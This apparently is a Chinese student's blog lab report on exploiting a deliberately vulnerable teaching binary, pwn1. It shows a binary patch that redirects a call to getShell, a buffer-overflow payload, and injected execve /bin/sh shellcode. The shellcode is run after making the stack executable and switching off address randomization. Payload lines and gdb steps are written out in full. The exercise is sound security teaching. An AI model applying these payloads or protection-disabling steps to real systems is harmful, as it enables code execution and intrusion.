Exp1 PC平台逆向破解 20154308张珊珊

Exp1 PC平台逆向破解1 20154308张珊珊

1.实验目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。实践目标即为想办法运行这个代码片段。

  • 三个实践内容如下:

    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 注入一个自己制作的shellcode并运行这段shellcode。
  • 这几种思路,基本代表现实情况中的攻击目标:

    • 运行原本不可访问的代码片段
    • 强行修改程序执行流
    • 以及注入运行任意代码。

本次实验主要内容为通过第一种方法达到实践目标。

2.直接修改程序机器指令,改变程序执行流程

  • 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
  • 学习目标:理解可执行文件与机器指令
  • 进阶:掌握ELF文件格式,掌握动态技术

2.1 在pwn1文件所在目录打开终端,备份文件并更改文件名为学号,命令如下:

cp pwn1 20154308

2.2 利用反汇编命令查看该文件的机器指令,命令如下:

objdump -d 20154308

从图中可以看到主函数中调用位于8048491处的foo函数,对应的机器指令为e8 d7 ff ff ff,通过猜测可知e8为跳转之意。

本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令,CPU就会转而执行“EIP+d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba+d7ffffff=80484ba-0x29正好是8048491这个值。在这里进行计算时要注意在计算机内是采用小端模式即低字节优先。

main函数调用foo,对应机器指令为“e8d7ffffff”,那我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。

47d-4ba得到补码,是c3ffffff。下面我们就修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。

2.3 进入该文件的vi编辑模式,命令如下:

vim 20154308

2.4 按一下esc键,敲入如下命令,查看其十六进制格式

:%!xxd

2.5 键入如下命令,/表示查找

2.6 按一下esc键,通过方向键将光标移到修改处,按r表示修改,将d7修改为c3

2.7 键入如下命令,转回原格式,并存盘退出

:%!xxd -r
:wq

2.8 再利用反汇编命令查看该文件

objdump -d 20154308

可以看到,原先的机器指令e8d7ffffff已经改为e8c3ffffff,调用的也是我们所希望的getshell函数。

如此一来,本次实验的第一部分就结束了。

3.通过构造输入参数,造成BOF攻击,改变程序执行流

  • 知识要求:堆栈结构,返回地址
  • 学习目标:理解攻击缓冲区的结果,掌握返回地址的获取
  • 进阶:掌握ELF文件格式,掌握动态技术

3.1 反汇编,了解程序基本功能

反汇编首先通过反汇编分析该文件,发现该可执行文件正常情况下是调用foo函数,而foo函数中使用了gets函数,该函数不会检查用户输入的长度,所以我们可以通过输入过长的参数,使超过部分溢出,覆盖返回地址,造成BOF攻击,改变程序执行流。

3.2 确认输入字符串哪几个字符回复该到返回地址

调试并运行该文件gdb 20154308 r,接下来即要求输入参数,我们尝试性地输入1111111122222222333333334444444455555555
执行结果如下图所示,报错。

现在我们通过命令info r查看各个寄存器内的值可以发现此时eip内的值为0x35353535,即ASCII 5,也就是说我们输入的最后八个5中的某四个覆盖了返回地址。

为了进一步确定是哪四个,我们重新运行该文件r,并输入1111111122222222333333334444444412345678,此时可以发现eip的值为0x34333231,即ASCII 1234,也就是说上述字符串中的1234最终覆盖到了堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。我们只要把这四个字符替换为getshell的内存地址,输给20154308,该文件就会运行getshell。

3.3 确认用什么值来覆盖返回地址

在之前我们知道getshell的内存地址是0804847d,加上之前所学在计算机内采用小端优先存储,我们可以确定需要输入的字符串为11111111222222223333333344444444\x7d\x84\x04\x08

3.4 构造输入字符串

由于我们没法通过键盘输入指定的16进制,我们通过以下命令来完成此操作

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

并通过xxd查看其十六进制格式

然后将input的输入,通过管道符|,作为20154308的输入

(cat input; cat) | ./20154308

此时main函数成功地调用了getshell函数,此时我们就可以输入shell指令了,如图

4.注入shellcode并执行

4.1 准备一段shellcode

  • shellcode就是一段机器指令(code)
    • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
    • 所以这段机器指令被称为shellcode。
    • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

4.2准备工作

修改设置

apt-get instal prelink下载安装ececstack,否则接下来的命令无法执行

execstack -s 20154308设置堆栈可执行

execstack -q 20154308查询堆栈的文件是否可执行

more /proc/sys/kernel/randomize_va_space

echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化

more /proc/sys/kernel/randomize_va_space


4.3 构造要注入的payload

通过构造 anything+retaddr+nops+shellcode 来构造攻击buf。nop一为是了填充,二是作为“着陆区/滑行区”。我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。

我们使用如下shellcode

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

并注入这段攻击buf (cat input_shellcode;cat) | ./pwn20154308

最后的\x4\x3\x2\x1会覆盖到堆栈上返回地址的位置,下面我们要确定返回地址的位置填什么。

打开另一个终端,用gdb调试pwn20154308这个进程

  • ps -ef | grep pwn20154308 找到进程号
  • gdb 启动gdb调试这个进程
  • disassemble foo 通过设置断点,来查看注入buf的内存地址
  • break *0x080484ae
  • 再另一个终端里按下回车
  • 回到原终端,c

info r esp 查看寄存器地址

x/16x 0xffffd3ac 此时看到01020304,继续缩小范围,直到找到90909090,即我们的shellcode开始的地址,即0xffffd38c

找到相应地址后,我们使用c quit退出调试

01020304的地址是0xffffd3ac,就是返回地址的位置。shellcode就挨着,所以返回地址是 0xffffd3b0,90909090的地址是0xffffd38c,所以shellcode的地址是0xffffd390

(吸取讲义上的教训)我们将之前的shellcode改为

perl -e 'print "A" x 32;print "\xb0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x90\xd3\xff\xff\x00"' > input_shellcode

前面的32个A用来填满buf,\xb0\xd3\xff\xff为返回地址,剩下部分为shellcode

并注入这段buf (cat input_shellcode;cat) | ./pwn20154308

执行结果如下

攻击成功!

3.实验总结

  • 什么是漏洞?漏洞有什么危害?
    • 漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。
    • 漏洞的存在,很容易导致黑客的侵入及病毒的驻留,会导致数据丢失和篡改、隐私泄露乃至金钱上的损失,如:网站因漏洞被入侵,网站用户数据将会泄露、网站功能可能遭到破坏而中止乃至服务器本身被入侵者控制。
  • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

汇编指令 机器码
NOP 90
JNE 75
JE 74
JMP eb
CMP 39
  • 在计算补码的部分稍微有点吃力,需要在课下复习有关补码知识。
  • 有些指令的含义还不是很清楚,虽然不影响实验的思路,但是会导致实验的不顺畅,需要在课下了解掌握一些基本指令。
  • 对于堆栈存储方式的学习需要加强。
  • 总之,初次将以前学过的知识以及新知识结合起来并实际运用,对我来说还是有点困难,但是这也激发了我的兴趣,会在课下更加深入地思考有关本次实验的原理。
posted @ 2018-03-10 15:49  20154308张珊珊  阅读(114)  评论(0编辑  收藏